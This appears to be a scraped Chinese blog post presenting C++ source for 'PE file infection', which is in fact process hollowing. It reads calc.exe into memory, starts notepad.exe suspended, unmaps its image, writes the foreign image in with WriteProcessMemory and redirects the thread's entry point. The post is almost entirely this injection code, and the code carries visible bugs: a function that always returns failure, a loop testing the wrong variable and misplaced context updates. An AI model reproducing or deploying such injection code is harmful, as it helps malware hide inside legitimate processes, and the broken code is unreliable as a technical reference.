PE文件感染
来源:互联网 发布:能在淘宝上买貂皮吗 编辑:程序博客网 时间:2024/04/28 10:56
最近学习了一下PE文件,看了份PE文件感染源码,分析了一下,其实就是修改进程,抛砖引玉
本来想把整个代码发下,但是太大了,只发函数的
#/////读取文件PE信息
BOOL readPEInfo(FILE* fp,MZHeader* outMZ,PE_Header* outPE,PE_ExtHeader* outpeXH,SectionHeader** outSecHdr)
{
///将文件指针移动到文件末尾
fseek(fp,0,SEEK_END);
//整个文件长度
long filesize=ftell(fp);
//将文件指针移回开始
fseek(fp,0,SEEK_SET);
//判断文件大小是否正确
if(filesize<sizeof(MZHeader))
{
printf("文件的大小不够");
return FALSE;
}
MZHeader mzH;
//读取文件DOS头信息
fread(&mzH,sizeof(MZHeader),1,fp);
//判断文件DOS头标志
if(mzH.signature!=0x5a4d)
{
printf("文件 DOS头错误");
return FALSE;
}
if((unsigned long)filesize<mzH.offsetToPE+sizeof(MZHeader))
{
printf("DOS头数据不够/n");
return FALSE;
}
//将文件指针移动到PE处(DOS头中不仅包括IMAGE_DOS_SIGNATURE,还有DOS_STUB,所以必须移动文件指针,而以后fread自动移动),读取PE文件信息
fseek(fp,mzH.offsetToPE,SEEK_SET);
PE_Header peH;
fread(&peH,sizeof(PE_Header),1,fp);
if(peH.signature!=0x4550 || peH.sizeOfOptionHeader!=sizeof(PE_ExtHeader))
{
printf("PE头标志不正确");
return FALSE;
}
//读取PE扩展头信息,不必移动指针
PE_ExtHeader peXH;
fread(&peXH,sizeof(PE_ExtHeader),1,fp);
//读取节表头信息,节表头为一个数组
SectionHeader* secHdr=new SectionHeader[peH.numSections];
fread(secHdr,sizeof(SectionHeader)*peH.numSections,1,fp);
*outMZ=mzH;
*outPE=peH;
*outpeXH=peXH;
*outSecHdr=secHdr;
return TRUE;
}
//经典的区块分配函数
DWORD AlignData(DWORD dwSize,DWORD dwAlign)
{
return ((dwSize-1)/dwAlign+1)*dwAlign;
}
////计算文件在内存中大小,其实就是可选头中SizeOfImage;
int calcTotalImageSize(MZHeader* inMZ,PE_Header* inPE,PE_ExtHeader* inpeXH,SectionHeader* inSecHdr)
{
int alignment;
//文件在内存中区块大小
alignment=inpeXH->sectionAlignment;
int result=0;
result+=AlignData(inpeXH->sizeOfHeaders,alignment);
///计算各个节在内存中大小
for(int i=0;i<inPE->numSections;i++)
{
result+=AlignData(inSecHdr[i].virtualSize,alignment);
}
return result;
}
///将母体文件导入内存
BOOL loadPE(FILE* fp,MZHeader* inMZ,PE_Header* inPE,PE_ExtHeader* inpeXH,SectionHeader* inSecHdr,LPVOID ptrLoc)
{
char* outPtr=(char*)ptrLoc;
//将文件头指针移到文件头
fseek(fp,0,SEEK_SET);
unsigned long headsize=inpeXH->sizeOfHeaders;
//如果文件各头大小有误,进行修改
for(int i=0;i<inPE->numSections;i++)
{
if(headsize>inSecHdr[i].pointerToRawData)
{
headsize=inSecHdr[i].pointerToRawData;
}
}
unsigned long readsize;
//将母体文件头读取到内存中
readsize=fread(outPtr,1,headsize,fp);
if(readsize!=headsize)
{
printf("母体文件头导入内存时失败/n");
return FALSE;
}
//移动内存指针
outPtr+=AlignData(headsize,inpeXH->sectionAlignment);
///将各个节导入内存
for(int n=0;i<inPE->numSections;i++)
{
//以文件节在磁盘中大小为准,
if(inSecHdr[i].sizeOfRawData)
{
unsigned long toRead=inSecHdr[i].sizeOfRawData;
//文件在磁盘中大小一般都比在内存中小,如果大,可能发生错误
if(inSecHdr[i].sizeOfRawData>inSecHdr[i].virtualSize)
{
inSecHdr[i].sizeOfRawData=inSecHdr[i].virtualSize;
}
//移动文件指针到各节开始
fseek(fp,inSecHdr[i].pointerToRawData,SEEK_SET);
//将此节导入内存
readsize=fread(outPtr,1,toRead,fp);
if(readsize!=toRead)
{
printf("母体文件导入节时发生错误/n");
return FALSE;
}
//移动内存地址
outPtr+=AlignData(toRead,inpeXH->sectionAlignment);
}
//如果此值为空,则以在内存中大小为准
else
{
if(inSecHdr[i].virtualSize)
{
//移动内存指针
outPtr+=AlignData(inSecHdr[i].virtualSize,inpeXH->sectionAlignment);
}
}
}
return TRUE;
}
//自定位重定位结构体
struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};
///进行基址重定位
void doRelocation(MZHeader* inMZ,PE_Header* inPE,PE_ExtHeader* inpeXH,SectionHeader* inSecHdr,LPVOID ptrLoc,DWORD newbase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
long delta;
//映射到内存时需要变化的大小
delta=newbase-inpeXH->imageBase;
//定位到重定位第一个结构体处
FixupBlock* fixBlk=(FixupBlock*)((char*)ptrLoc+inpeXH->relocationTableAddress);
while(fixBlk->blockSize)
{
int numEntries;
//得到需要重定位资料项的个数
numEntries=(fixBlk->blockSize-sizeof(fixBlk))/2;
unsigned short* offsetPtr=(unsigned short*)(fixBlk+1);
for(int i=0;i<numEntries;i++)
{
//重定位资料项(*offset)低12位是当前指向相对于当前页的偏移,必须加上起始偏移页才是真正的偏移地址
DWORD* codeLoc=(DWORD*)((char*)ptrLoc+fixBlk->pageRVA+(*offsetPtr&0x0FFF));
//重定义类型,类型3为需要重定位,类型0无意义
int relocType;
relocType=(*offsetPtr&0x0F000);
if(relocType==3)
{
*codeLoc=(*codeLoc)+delta;
}
//使offsetPtr指向下一个重定位资料项
offsetPtr++;
}
fixBlk=(FixupBlock*)offsetPtr;
}
}
}
BOOL hasRelocationTable(PE_ExtHeader* inpeXH)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
return TRUE;
}
return FALSE;
}
//定义感染程序信息结构体
typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
}PROCINFO;
//创建感染子程序
BOOL createchild(PROCESS_INFORMATION pi,PCONTEXT ctx,PROCINFO* outChild)
{
//初始化STARTUPINFO 结构体
STARTUPINFO si;
memset(&si,0,sizeof(STARTUPINFO));
si.cb=sizeof(STARTUPINFO);
char buff[MAX_PATH]="c://notepad.exe";
//创建子进程
if(CreateProcess(buff,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi))
{
//得到主线程上下文
ctx->ContextFlags=CONTEXT_FULL;
GetThreadContext(pi.hThread,ctx);
//将进程起始地址读取到pebInfo中
DWORD* pebInfo=(DWORD*)ctx->Ebx;
DWORD read;
//读取pebInfo指针指向的地址(地址中存放的真正进程地址)
ReadProcessMemory(pi.hProcess,&pebInfo[2],(LPVOID)outChild->baseAddr,sizeof(DWORD),&read);
DWORD curAdd=outChild->baseAddr;
MEMORY_BASIC_INFORMATION memInfo;
///循环查询整个进程的内存页
while(VirtualQueryEx(pi.hProcess,(LPVOID)&curAdd,&memInfo,sizeof(MEMORY_BASIC_INFORMATION)))
{
if(memInfo.State==MEM_FREE)
{
break;
}
curAdd+=memInfo.RegionSize;
}
//计算子程序导入内存后的大小
outChild->imageSize=curAdd-outChild->baseAddr;
}
return FALSE;
}
typedef DWORD (WINAPI* PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle,IN PVOID BaseAddress);
//进行感染
void doFork(MZHeader* inMZ,PE_Header* inPE,PE_ExtHeader* inpeXH,SectionHeader* insecHdr,LPVOID ptrLoc,DWORD imagesize)
{
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;
if(createchild(pi,&ctx,&childInfo))
{
LPVOID v=(LPVOID)NULL;
//以下将母体文件写入感染程序的进程,其大小应小于子程序
//1 母体程序与子程序在内存中映射首地址一样,并且母体大小小于子程序
if(inpeXH->imageBase==childInfo.baseAddr && imagesize<childInfo.imageSize)
{
v=(LPVOID)childInfo.baseAddr;
DWORD oldprotect;
//修改子进程读写属性
VirtualProtectEx(pi.hProcess,v,childInfo.imageSize,PAGE_EXECUTE_READWRITE,&oldprotect);
printf("using existing memory for 母体文件");
}
//2为母体程序在进程中重新分配内存
else
{
///断开母体文件实际物理地址与内存地址映射
PTRZwUnmapViewOfSection pZwUnmapViewOfSection=(PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwUnmapViewOfSection");
if(pZwUnmapViewOfSection(pi.hProcess,(LPVOID)childInfo.baseAddr)==0)
{
//在进程中重新为母体程序分配内存
v=VirtualAllocEx(pi.hProcess,(LPVOID)inpeXH->imageBase,imagesize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(v)
{
printf("unmaped and allocate new memory for 母体文件/n");
}
}
}
//如果需要重定位,则进行重定位
if(!v &&hasRelocationTable(inpeXH))
{
v=VirtualAllocEx(pi.hProcess,NULL,imagesize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(v)
{
printf("allocated memory for new exe will be renew reallocated/n");
doRelocation(inMZ,inPE,inpeXH,insecHdr,ptrLoc,(unsigned long)v);
}
}
if(v)
{
DWORD* pebInfo=(DWORD*)ctx.Ebx;
DWORD write;
//修改子进程中起始地址
WriteProcessMemory(pi.hProcess,&pebInfo[2],(LPVOID)v,sizeof(DWORD),&write);
if(WriteProcessMemory(pi.hProcess,v,ptrLoc,imagesize,&write))
{
printf("母进程inject the 子程序successfully/n");
ctx.ContextFlags=CONTEXT_FULL;
//修改环境上下文中Eax值(程序入口点)
if(DWORD(v)==childInfo.baseAddr)
{
ctx.Eax=inpeXH->imageBase+inpeXH->addressOfEntryPoint;
}
else
{
ctx.Eax=(DWORD)v+inpeXH->addressOfEntryPoint;
//修改进程上下文环境
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
}
}
else
{
printf("writeprocessmemory failed/n");
TerminateProcess(pi.hProcess,0);
}
}
}
}
int main(int argc, char* argv[])
{
FILE* fp;
fp=fopen("c://calc.exe","rb");
if(fp)
{
MZHeader mzH;
PE_Header peH;
PE_ExtHeader peXH;
SectionHeader* secHdr;
//读取文件PE信息
if(readPEInfo(fp,&mzH,&peH,&peXH,&secHdr))
{
int imagesize;
//imagesize=peXH.sizeOfImage;
imagesize=calcTotalImageSize(&mzH,&peH,&peXH,secHdr);
///给母体文件分配内存
LPVOID ptrLoc=VirtualAlloc(NULL,imagesize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(ptrLoc)
{
loadPE(fp,&mzH,&peH,&peXH,secHdr,ptrLoc);
doFork(&mzH,&peH,&peXH,secHdr,ptrLoc,imagesize);
}
else
{
printf("allocate memory failed/n");
}
fclose(fp);
}
}
else
{
printf("cant open the file/n");
}
return 0;
}
- PE文件感染杂谈
- 感染PE文件源码
- PE文件感染术
- 浅析PE文件感染
- PE文件感染
- 简单感染PE文件
- 简单感染PE文件
- PE感染
- 感染PE文件的一个简单实例
- 感染PE文件的一个简单实例
- delphi 简单PE文件感染源码!
- PE文件的感染C++源代码
- PE文件感染和内存驻留
- 通过添加新的节来感染PE文件
- DLL系列------编程实现感染PE文件加载DLL
- PE感染者
- PE感染学习
- PE型感染病毒 —— 遍历磁盘PE文件 (2)
- Linux 常用命令行工具
- Debug下正常,而Release失败的真正原因
- ReadPlist
- Android HttpURLConnection 基础使用
- window.returnValue
- PE文件感染
- 调用系统照相机
- Mongodb集群配置(sharding with replica set)
- sh -x
- 使用ExpandableListActivity显示扩展列表
- session和cookie的区别
- oracle建表赋权限
- C++教程学习笔记
- windows phone:Behaviors扩展----根据Pivot的item自动切换AppBar